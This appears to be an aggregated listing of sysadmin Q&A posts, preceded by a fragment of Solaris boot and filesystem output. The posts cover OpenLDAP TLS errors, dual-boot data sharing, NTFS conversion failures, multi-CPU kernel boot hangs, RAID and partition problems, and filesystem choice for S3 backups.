setprop ttya-rts-dtr-off 'false' setprop ttya-ignore-cd 'true' setprop ttyb-mode '9600,8,n,1,-' setprop ttya-mode '9600,8,n,1,-' setprop lba-access-ok '1' setprop prealloc-chunk-size '0x2000' setprop bootpath '/pci@0,0/pci108e,5352@1f,2/disk@0,0:a' setprop keyboard-layout 'US-English' setprop console 'text' setprop altbootpath '/pci@0,0/pci108e,5352@1f,2/disk@1,0:a' cat /etc/vfstab #device device mount FS fsck mount mount #to mount to fsck point type pass at boot options # fd - /dev/fd fd - no - /proc - /proc proc - no - #/dev/dsk/c1t0d0s1 - - swap - no - /dev/md/dsk/d1 - - swap - no - /dev/md/dsk/d0 /dev/md/rdsk/d0 / ufs 1 no - /devices - /devices devfs - no - sharefs - /etc/dfs/sharetab sharefs - no - ctfs - /system/contract ctfs - no - objfs - /system/object objfs - no - swap - /tmp tmpfs - yes - df -h Filesystem size used avail capacity Mounted on /dev/md/dsk/d0 909G 11G 889G 2% / /devices 0K 0K 0K 0% /devices ctfs 0K 0K 0K 0% /system/contract proc 0K 0K 0K 0% /proc mnttab 0K 0K 0K 0% /etc/mnttab swap 14G 972K 14G 1% /etc/svc/volatile objfs 0K 0K 0K 0% /system/object sharefs 0K 0K 0K 0% /etc/dfs/sharetab /usr/lib/libc/libc_hwcap1.so.1 909G 11G 889G 2% /lib/libc.so.1 fd 0K 0K 0K 0% /dev/fd swap 14G 40K 14G 1% /tmp swap 14G 28K 14G 1% /var/run

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• Secure ldap problem

  - by neverland

  Hi there, I have tried to config my openldap to have secure connection by using openssl on Debian5. By the way, I got trouble during the below command. ldap:/etc/ldap# slapd -h 'ldap:// ldaps://' -d1 >>> slap_listener(ldaps://) connection_get(15): got connid=7 connection_read(15): checking for input on id=7 connection_get(15): got connid=7 connection_read(15): checking for input on id=7 connection_get(15): got connid=7 connection_read(15): checking for input on id=7 connection_get(15): got connid=7 connection_read(15): checking for input on id=7 connection_read(15): unable to get TLS client DN, error=49 id=7 connection_get(15): got connid=7 connection_read(15): checking for input on id=7 ber_get_next ber_get_next on fd 15 failed errno=0 (Success) connection_closing: readying conn=7 sd=15 for close connection_close: conn=7 sd=15 Then I have search for "unable to get TLS client DN, error=49 id=7" but it seems no where has a good solution to this yet. Please help. Thanks # Well, I try to fix something to get it work but now I got this ldap:~# slapd -d 256 -f /etc/openldap/slapd.conf @(#) $OpenLDAP: slapd 2.4.11 (Nov 26 2009 09:17:06) $ root@SD6-Casa:/tmp/buildd/openldap-2.4.11/debian/build/servers/slapd could not stat config file "/etc/openldap/slapd.conf": No such file or directory (2) slapd stopped. connections_destroy: nothing to destroy. What should I do now? log : ldap:~# /etc/init.d/slapd start Starting OpenLDAP: slapd - failed. The operation failed but no output was produced. For hints on what went wrong please refer to the system's logfiles (e.g. /var/log/syslog) or try running the daemon in Debug mode like via "slapd -d 16383" (warning: this will create copious output). Below, you can find the command line options used by this script to run slapd. Do not forget to specify those options if you want to look to debugging output: slapd -h 'ldaps:///' -g openldap -u openldap -f /etc/ldap/slapd.conf ldap:~# tail /var/log/messages Feb 8 16:53:27 ldap kernel: [ 123.582757] intel8x0_measure_ac97_clock: measured 57614 usecs Feb 8 16:53:27 ldap kernel: [ 123.582801] intel8x0: measured clock 172041 rejected Feb 8 16:53:27 ldap kernel: [ 123.582825] intel8x0: clocking to 48000 Feb 8 16:53:27 ldap kernel: [ 131.469687] Adding 240932k swap on /dev/hda5. Priority:-1 extents:1 across:240932k Feb 8 16:53:27 ldap kernel: [ 133.432131] EXT3 FS on hda1, internal journal Feb 8 16:53:27 ldap kernel: [ 135.478218] loop: module loaded Feb 8 16:53:27 ldap kernel: [ 141.348104] eth0: link up, 100Mbps, full-duplex Feb 8 16:53:27 ldap rsyslogd: [origin software="rsyslogd" swVersion="3.18.6" x-pid="1705" x-info="http://www.rsyslog.com"] restart Feb 8 16:53:34 ldap kernel: [ 159.217171] NET: Registered protocol family 10 Feb 8 16:53:34 ldap kernel: [ 159.220083] lo: Disabled Privacy Extensions

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• Suggestions for sharing and using data between Ubuntu and Windows 7 dual boot

  - by wizjany

  Note: TL;DR, scroll to bottom for summary. I recently set up my computer for a dual boot between Ubuntu 9.10 and Windows 7. My current drive setup is as follows. | A1 | A2 | | B1 | B2 | B3 | A1: 100 mb, windows 7 "System Reserved" boot partition A2: 230 gb, data section, this one needs to be shared between the operating systems B1: 125 gb, windows 7 OS B2: 123 gb, ubuntu OS B3: 2gb, linux swap space Pretty much i want to have my documents, music, pictures, videos, etc accessible from both operating systems. My first attempt involved making the data (a2) partition NTFS, and moving my home folder from ubuntu to the data partition. However, as I read NTFS does not work nice with permission, and it messed up my home folder. My next idea is one of the following: 1) format the data partition to ext2/3/4 and move my home folder from linux there, and get a driver to read ext partitions in windows 7. The problem with that is that most of the ext drivers/software are not compatible with windows 7 or do not integrate with windows explorer (I really don't want to open a separate software window just to access my data, plus it's probably not compatible with other software.) http://www.fs-driver.org/ looks promising, but I'm not sure how it works with ext4 and windows 7 (not officially supported, when trying in vista compatibility mode, it tells me I need to format the ext drive to use it). My next idea, 2) keep the home folder in ubuntu where it is, but create symlinks for the Documents, Music, etc folders to an NTFS formatted Data (A2) partition, and add those locations to the windows 7 libraries. I'm not totally sure how the permissions would work out, but it should be fine since it's only the documents, music, etc and not the important config files in the rest of /home/user/. Correct me if I'm wrong. Currently, symlinks is my best idea, although i'm not sure how it will work. Any suggestions, additions to my ideas, links, pointers, whatever would be greatly appreciated. Even if it means i should reformat both my drives and repartition (2 250gb drives if you want to suggest a setup for that), I won't be too opposed if that's the best suggestion (I've gone through the format/install/format/reinstall process 5 times over the past 3 days, once more won't hurt me). TL;DR, summary: I have two hard drives. One is partitioned for Ubuntu and Windows 7, the second one I want accessible to both operating systems to store documents, music, pictures, videos, etc. Suggestions on how to set up the data drive please =) P.S. bonus if I can get an apache server document root folder working between the two OS's as well (permissions could become very complicated, so don't worry too much about that) P.P.S. Related question, but data viewing is one way: http://superuser.com/questions/84586/partition-scheme-and-size-for-dual-boot-windows-7-and-ubuntu-9-10-with-separate-p

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• External hard drive FAT32 to NTFS conversion fails

  - by Pieter

  I'm trying to convert the FAT32 file system of an external hard drive to NTFS. Here's what happened: C:\Windows\system32>chkdsk G: The type of the file system is FAT32. Volume PIETEREXT created 3/19/2008 12:43 Volume Serial Number is 1806-2E30 Windows is verifying files and folders... File and folder verification is complete. Windows has scanned the file system and found no problems. No further action is required. 488,264,768 KB total disk space. 72,192 KB in 1,503 hidden files. 1,281,792 KB in 40,029 folders. 309,235,168 KB in 199,915 files. 177,675,584 KB are available. 32,768 bytes in each allocation unit. 15,258,274 total allocation units on disk. 5,552,362 allocation units available on disk. C:\Windows\system32>cd \ C:\>convert g: /fs:ntfs The type of the file system is FAT32. Enter current volume label for drive G: PIETEREXT Volume PIETEREXT created 3/19/2008 12:43 Volume Serial Number is 1806-2E30 Windows is verifying files and folders... File and folder verification is complete. Windows has scanned the file system and found no problems. No further action is required. 488,264,768 KB total disk space. 72,192 KB in 1,503 hidden files. 1,281,792 KB in 40,029 folders. 309,235,168 KB in 199,915 files. 177,675,584 KB are available. 32,768 bytes in each allocation unit. 15,258,274 total allocation units on disk. 5,552,362 allocation units available on disk. Determining disk space required for file system conversion... Total disk space: 488384001 KB Free space on volume: 177675584 KB Space required for conversion: 975155 KB Converting file system The conversion failed. G: was not converted to NTFS I looked at the TechNet page for my error, but after closing every app the conversion was still failing halfway through. Why does it keep failing? I kept an eye on Task Manager but it didn't look like my system resources were near depletion. I'm using Windows 8.

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• How to make Linux reliably boot on multi-cpu machines?

  - by Adam Tabi

  I've got two machines, one with 4x12 AMD Opteron cores (AMD Opteron(tm) Processor 6176), one with 2x8 Xeon cores (HT disabled; Intel(R) Xeon(R) CPU E5-2660 0 @ 2.20GHz). On both machines I experience difficulties during boot of Linux using recent kernels. The system hangs during the initialization of the kernel, before or just when initramfs started initializing the hardware. The last thing which got displayed was a stacktrace like this: CPU: 31 PID: 0 Comm: swapper/31 Tainted: G D 3.11.6-hardened #11 Hardware name: Supermicro X9DRT-HF+/X9DRT-HF+, BIOS 3.00 07/08/2013 task: ffff880854695500 ti: ffff880854695a28 task.ti: ffff880854695a28 RIP: 0010:[<ffffffff8100a82e>] [<ffffffff8100a82e>] default_idle+0x6/0xe RSP: 0000:ffff8808546b3ec8 EFLAGS: 00000286 RAX: ffffffff8100a828 RBX: ffff880854695a28 RCX: 00000000ffffffff RDX: 0100000000000000 RSI: 0000000000000000 RDI: ffff88107fdec690 RBP: ffff8808546b3ec8 R08: 0000000000000000 R09: ffff880854695500 R10: ffff880854695500 R11: 0000000000000001 R12: ffff880854695a28 R13: ffff880854695a28 R14: ffff880854695a28 R15: 0000000000000000 FS: 0000000000000000(0000) GS:ffff88107fde0000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000002b43256a960 CR3: 00000000016b5000 CR4: 00000000000607f0 Stack: ffff8808546b3ed8 ffffffff8100aec9 ffff8808546b3f10 ffffffff8109ce25 334ab55852ec7aef 000000000000001f ffffffff8102d6c0 0000000000000000 0000000000000000 ffff8808546b3f48 ffffffff810276e0 ffff8808546b3f28 Call Trace: [<ffffffff8100aec9>] arch_cpu_idle+0x20/0x2b [<ffffffff8109ce25>] cpu_startup_entry+0xed/0x138 [<ffffffff8102d6c0>] ? flat_init_apic_ldr+0x80/0x80 [<ffffffff810276e0>] start_secondary+0x2c9/0x2f8 I compiled the kernel myself and it works fine, if I boot with nolapic. Yet, only one core is used. Also, the kernel of RHEL6 seems to work fine. I suspect that there are some patches used to make things work. Using the kernel config file from RHEL6 and building a more recent kernel yields the same problems. On the Xeon machine, things got better by disabling Hyperthreading completely. The machine now boots successfully on at least 4 out of 5 times. And if it boots, multicore stuff works just fine. However, I'm wondering about what to do about the AMD machine. So to sum it up: Gentoo kernel 3.6 - 3.11 won't reliably boot those machines unless you reduce the amount of cores (e.g. via nolapic). RHEL6 kernel (which is 2.6.32) boots just fine. RH kernel config used to build a 3.x kernel won't yield a working kernel. Not distribution specific (apart from the kernel being used). These stack traces got printed every minute or so. The kernel seems to be stuck in an endless loop. Yet, a recent kernel is needed for various reasons. So the question is: What does the RHEL6 kernel do, what vanilla or gentoo kernels don't do? Is there a boot option that might lead to a reliable boot with all the cores enabled? Best, Adam

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• prevent filesystem from entering read-only mode

  - by user788171

  I have found that my server's filesystem is continuously entering read-only mode. There have been some issues with the raid1 array, but I have removed the bad disk from the array. However, it is still physically plugged into the system because I haven't had a chance to go over to the datacentre, I suspect udev and the system kernel is still picking up the bad disk and throwing errors. In /var/log/messages, there are errors like this: Mar 2 06:53:14 nocloud kernel: ata1: exception Emask 0x10 SAct 0x0 SErr 0x4010000 action 0xe frozen Mar 2 06:53:14 nocloud kernel: ata1: irq_stat 0x00400040, connection status changed Mar 2 06:53:14 nocloud kernel: ata1: SError: { PHYRdyChg DevExch } Mar 2 06:53:14 nocloud kernel: ata1: hard resetting link Mar 2 06:53:20 nocloud kernel: ata1: link is slow to respond, please be patient (ready=0) Mar 2 06:53:21 nocloud kernel: ata1: SATA link up 3.0 Gbps (SStatus 123 SControl 300) Mar 2 06:53:21 nocloud kernel: ata1.00: configured for UDMA/133 Mar 2 06:53:21 nocloud kernel: ata1: EH complete This happens fairly randomly throughout the day until eventually the filesystem becomes read-only. When this happens, my system becomes non-operational which kind of defeats the purpose of having a raid1. Note, ata1 is the bad disk (I think ata1 corresponds to /dev/sda because they are both first in line). Under mdadm, /dev/sda1,2 is no longer being used, but I can't prevent the system kernel from continuing to query that disk when I am no longer using it and throwing these errors. Is there a way to prevent my filesystem from automatically going into read-only mode? Furthermore, is it safe to do so? Thanks in advance. EDIT: Additional information: output from cat /proc/mdstat md1 : active raid1 sdb2[1] 976554876 blocks super 1.1 [2/1] [_U] bitmap: 5/8 pages [20KB], 65536KB chunk md0 : active raid1 sdb1[1] 204788 blocks super 1.0 [2/1] [_U] Output from mount: /dev/mapper/VolGroup-LogVol00 on / type ext4 (rw,noatime) proc on /proc type proc (rw) sysfs on /sys type sysfs (rw) devpts on /dev/pts type devpts (rw,gid=5,mode=620) tmpfs on /dev/shm type tmpfs (rw,rootcontext="system_u:object_r:tmpfs_t:s0") /dev/md0 on /boot type ext4 (rw) none on /proc/sys/fs/binfmt_misc type binfmt_misc (rw) sunrpc on /var/lib/nfs/rpc_pipefs type rpc_pipefs (rw) EDIT2: pvdisplay output: --- Physical volume --- PV Name /dev/md1 VG Name VolGroup PV Size 931.32 GiB / not usable 2.87 MiB Allocatable yes (but full) PE Size 16.00 MiB Total PE 59604 Free PE 0 Allocated PE 59604

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• Resizing Partitions on Live RHEL/cPanel Server

  - by Timothy R. Butler

  I've resized many partitions over the years on Linux, Windows and Mac OS X -- but always using a GUI. However, the time has come where the preset partition sizes my data center placed on my server aren't the right sizes and I need to resize a production server's disks. I could fiddle with it and probably do OK, but given that it is a production server, I wanted to get some advice about the right way to do this. I do have KVM over IP access, so if it is best to take the server offline and boot off a rescue partition, I can do that. root [/var/lib/mysql]# df -h Filesystem Size Used Avail Use% Mounted on /dev/sda2 9.9G 2.1G 7.3G 23% / tmpfs 7.8G 0 7.8G 0% /dev/shm /dev/sda1 99M 77M 18M 82% /boot /dev/sda8 884G 463G 376G 56% /home /dev/sda3 9.9G 8.0G 1.5G 85% /usr /dev/sda5 9.9G 9.1G 308M 97% /var /usr/tmpDSK 2.0G 38M 1.8G 3% /tmp As you can see /var and /usr are quite close to being full and I've actually had to symlink some logs on /usr to directories in /home to balance things out. What I would like to do is to add 6-10 GB each to /usr and /var, presumably taking the space from /home. As I think about how the disk is arranged, the best thought I've come up with is to reduce /home by 16 GB, say, and move /var to the spot freed up, then allocating /var's space to /usr. However, that would put /var at the far end of the disk, which seems less than idea, given that MySQL has all of its data on that partition. I'd love to take the space out of the closer end of /usr, but I assume that would take a very arduous (and perhaps risky) process of moving all of the data in /usr around. I seem to recall having such a process fail for me on a computer in the past. The other option might be to merge / and /usr since / is underutilized, though I'm not sure if that's a good idea. Do you have any suggestions both on the best reallocation plan and the commands to use to accomplish it? UPDATE: I should add -- here's the partition table. There's one unused partition, which, if memory serves, was the original tmp location before I created a tmp image: Name Flags Part Type FS Type [Label] Size (MB) ------------------------------------------------------------------------------ Unusable 1.05* sda1 Boot Primary Linux ext2 106.96* sda2 Primary Linux ext3 10737.42* sda3 Primary Linux ext3 10737.42* sda5 NC Logical Linux ext3 10738.47* sda6 NC Logical Linux swap / Solaris 2148.54* sda7 NC Logical Linux ext3 1074.80* sda8 NC Logical Linux ext3 964098.53*

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• How to get an inactive RAID device working again?

  - by Jonik

  After booting, my RAID1 device (/dev/md_d0 *) sometimes goes in some funny state and I cannot mount it. * Originally I created /dev/md0 but it has somehow changed itself into /dev/md_d0. # mount /opt mount: wrong fs type, bad option, bad superblock on /dev/md_d0, missing codepage or helper program, or other error (could this be the IDE device where you in fact use ide-scsi so that sr0 or sda or so is needed?) In some cases useful info is found in syslog - try dmesg | tail or so The RAID device appears to be inactive somehow: # cat /proc/mdstat Personalities : [linear] [multipath] [raid0] [raid1] [raid6] [raid5] [raid4] [raid10] md_d0 : inactive sda4[0](S) 241095104 blocks # mdadm --detail /dev/md_d0 mdadm: md device /dev/md_d0 does not appear to be active. Question is, how to make the device active again (using mdmadm, I presume)? (Other times it's alright (active) after boot, and I can mount it manually without problems. But it still won't mount automatically even though I have it in /etc/fstab: /dev/md_d0 /opt ext4 defaults 0 0 So a bonus question: what should I do to make the RAID device automatically mount at /opt at boot time?) This is an Ubuntu 9.10 workstation. Background info about my RAID setup in this question. Edit: My /etc/mdadm/mdadm.conf looks like this. I've never touched this file, at least by hand. # by default, scan all partitions (/proc/partitions) for MD superblocks. # alternatively, specify devices to scan, using wildcards if desired. DEVICE partitions # auto-create devices with Debian standard permissions CREATE owner=root group=disk mode=0660 auto=yes # automatically tag new arrays as belonging to the local system HOMEHOST <system> # instruct the monitoring daemon where to send mail alerts MAILADDR <my mail address> # definitions of existing MD arrays # This file was auto-generated on Wed, 27 Jan 2010 17:14:36 +0200 In /proc/partitions the last entry is md_d0 at least now, after reboot, when the device happens to be active again. (I'm not sure if it would be the same when it's inactive.) Resolution: as Jimmy Hedman suggested, I took the output of mdadm --examine --scan: ARRAY /dev/md0 level=raid1 num-devices=2 UUID=de8fbd92[...] and added it in /etc/mdadm/mdadm.conf, which seems to have fixed the main problem. After changing /etc/fstab to use /dev/md0 again (instead of /dev/md_d0), the RAID device also gets automatically mounted!

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• Should use EXT4 or XFS to be able to 'sync'/backup to S3?

  - by Rafa

  It's my first message here, so bear with me... (I have already checked quite a few of the "Related Questions" suggested by the editor) Here's the setup, a brand new dedicated server (8GB RAM, some 140+ GB disk, Raid 1 via HW controller, 15000 RPM) it's a production web server (with MySQL in it, too, not just serving web requests); not a personal desktop computer or similar. Ubuntu Server 64bit 10.04 LTS We have an Amazon EC2+EBS setup with the EBS volume formatted as XFS for easily taking snapshots to S3, via AWS' console. We are now migrating to the dedicated server and I want to be able to backup our data to Amazon's S3. The main reason being the possibility of using the latest snapshot from an EC2 instance in case of hardware failure on the dedicated server. There are two approaches I am thinking of: do a "simple" file-based backup with rsync, dumping the database' and other files, and uploading to amazon via S3 API commands, or to an EC2 instance, or something. do a file-system "freeze" (using XFS) with the usual ebs/ec2 snapshot tool to take part of the file system, take a snapshot, and upload it to Amazon. Here's my question (or series of questions): Can I safely use XFS for the whole system as the main and only format on the dedicated server? If not, is it safe to use EXT4? Or should I use something else? would then be possible to make snapshots of the system to upload to Amazon? Is it possible/feasible/practical to do what I want to do, anyway? any recommendations? When searching around for S3/EBS/XFS, anything relevant to my problem is usually focused on taking snapshots of a XFS system that is already an EBS volume. My intention is to do it in a "real"/metal dedicated server. Update: I just saw this on Wikipedia: XFS does not provide direct support for snapshots, as it expects the snapshot process to be implemented by the volume manager. I had always assumed that I could choose 2 ways of doing snapshots: via LVM or via XFS (without LVM). After reading this, I realize these 2 options are more like it: With XFS: 1) do xfs_freeze; 2) copy the frozen files via, eg, rsync; 3) unfreeze xfs With LVM and XFS: 1) do xfs_freeze; 2) make a binary copy of the frozen fs via lvcreate and related commands; 3) unfreeze xfs; 4) somehow backup the LVM snapshot. Thanks a lot in advance, Let me know if I need to clarify something.

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